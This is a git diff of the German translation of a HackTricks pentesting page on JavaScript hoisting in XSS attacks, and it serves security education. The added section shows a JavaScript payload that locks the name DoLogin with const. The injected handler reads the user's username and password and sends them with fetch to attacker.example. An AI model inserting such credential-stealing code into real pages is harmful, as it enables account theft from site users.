mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting
This commit is contained in:
parent
77ac36f58f
commit
cfcd37cb35
File diff suppressed because it is too large
Load Diff
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
In der Programmiersprache JavaScript wird ein Mechanismus beschrieben, der als **Hoisting** bekannt ist, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Geltungsbereichs verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Skript in mehreren Durchgängen durchläuft.
|
||||
In der JavaScript-Sprache gibt es einen Mechanismus, der als **Hoisting** bezeichnet wird, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports gedanklich an den Anfang ihres Scopes verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet.
|
||||
|
||||
Während des ersten Durchgangs analysiert die Engine den Code, um nach Syntaxfehlern zu suchen, und verwandelt ihn in einen abstrakten Syntaxbaum. Diese Phase umfasst das Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Ausführungskontexts verschoben werden. Wenn die Analysephase erfolgreich ist und keine Syntaxfehler vorliegen, wird die Skriptausführung fortgesetzt.
|
||||
Während des ersten Durchlaufs parst die Engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstract syntax tree um. Diese Phase beinhaltet Hoisting, also das Verschieben bestimmter Deklarationen an den Anfang des Ausführungskontexts. Wenn die Parsing-Phase erfolgreich ist und keine Syntaxfehler aufgetreten sind, wird das Script ausgeführt.
|
||||
|
||||
Es ist entscheidend zu verstehen, dass:
|
||||
Wichtig zu verstehen ist:
|
||||
|
||||
1. Das Skript muss frei von Syntaxfehlern sein, damit die Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden.
|
||||
2. Die Platzierung des Codes innerhalb des Skripts beeinflusst die Ausführung aufgrund des Hoistings, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann.
|
||||
1. Das Script muss frei von Syntaxfehlern sein, damit eine Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden.
|
||||
2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung aufgrund von Hoisting, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann.
|
||||
|
||||
#### Arten von Hoisting
|
||||
|
||||
Basierend auf den Informationen von MDN gibt es vier verschiedene Arten von Hoisting in JavaScript:
|
||||
Basierend auf Informationen von MDN gibt es in JavaScript vier verschiedene Arten von Hoisting:
|
||||
|
||||
1. **Value Hoisting**: Ermöglicht die Verwendung des Wertes einer Variablen innerhalb ihres Geltungsbereichs vor ihrer Deklarationszeile.
|
||||
2. **Declaration Hoisting**: Erlaubt das Referenzieren einer Variablen innerhalb ihres Geltungsbereichs vor ihrer Deklaration, ohne einen `ReferenceError` auszulösen, aber der Wert der Variablen wird `undefined` sein.
|
||||
3. Diese Art verändert das Verhalten innerhalb ihres Geltungsbereichs aufgrund der Deklaration der Variablen vor ihrer tatsächlichen Deklarationszeile.
|
||||
4. Die Nebeneffekte der Deklaration treten auf, bevor der Rest des Codes, der sie enthält, ausgewertet wird.
|
||||
1. **Value Hoisting**: Erlaubt die Verwendung des Werts einer Variablen innerhalb ihres Scopes vor der Zeile, in der sie deklariert wird.
|
||||
2. **Declaration Hoisting**: Ermöglicht, innerhalb eines Scopes auf eine Variable zu verweisen, bevor sie deklariert wurde, ohne dass ein `ReferenceError` geworfen wird — der Wert der Variablen ist dann jedoch `undefined`.
|
||||
3. Diese Art verändert das Verhalten innerhalb ihres Scopes, weil die Variable vor ihrer eigentlichen Deklarationszeile deklariert wird.
|
||||
4. Die Seiteneffekte der Deklaration treten auf, bevor der restliche Code, der sie enthält, evaluiert wird.
|
||||
|
||||
Im Detail zeigen Funktionsdeklarationen das Verhalten des Typs 1 Hoisting. Das `var`-Schlüsselwort demonstriert das Verhalten des Typs 2. Lexikalische Deklarationen, die `let`, `const` und `class` umfassen, zeigen das Verhalten des Typs 3. Schließlich sind `import`-Anweisungen einzigartig, da sie sowohl mit dem Verhalten des Typs 1 als auch des Typs 4 gehostet werden.
|
||||
Im Detail zeigen Funktionsdeklarationen das Verhalten von Typ 1 Hoisting. Das Schlüsselwort `var` demonstriert Verhalten vom Typ 2. Lexikalische Deklarationen, zu denen `let`, `const` und `class` gehören, zeigen Verhalten vom Typ 3. Schließlich sind `import`-Anweisungen insofern einzigartig, als sie sowohl Typ-1- als auch Typ-4-Verhalten beim Hoisting aufweisen.
|
||||
|
||||
## Szenarien
|
||||
|
||||
Daher, wenn Sie Szenarien haben, in denen Sie **JS-Code nach der Verwendung eines nicht deklarierten Objekts** **einschleusen** können, könnten Sie **die Syntax beheben**, indem Sie es deklarieren (damit Ihr Code ausgeführt wird, anstatt einen Fehler auszulösen):
|
||||
Daher, wenn du Szenarien hast, in denen du **Inject JS code after an undeclared object** ausführen kannst, könntest du die Syntax beheben, indem du es deklarierst (sodass dein Code ausgeführt wird, anstatt einen Fehler zu erzeugen):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
## Referenzen
|
||||
### Verhindere spätere Deklarationen, indem du einen Namen mit const sperrst
|
||||
|
||||
Wenn du Code ausführen kannst, bevor eine top-level `function foo(){...}` geparst wird, verhindert die Deklaration einer lexikalischen Bindung mit demselben Namen (z. B. `const foo = ...`), dass die spätere Funktionsdeklaration diesen Bezeichner neu bindet. Dies lässt sich in RXSS ausnutzen, um kritische Handler, die später auf der Seite definiert werden, zu kapern:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Hinweise
|
||||
- Dies hängt von der Ausführungsreihenfolge und dem globalen (Top-Level) Scope ab.
|
||||
- Wenn dein Payload innerhalb von `eval()` ausgeführt wird, denk daran, dass `const/let` innerhalb von `eval` block-scoped sind und keine globalen Bindungen erzeugen. Füge ein neues `<script>`-Element mit dem Code ein, um ein echtes globales `const` herzustellen.
|
||||
|
||||
## Quellen
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user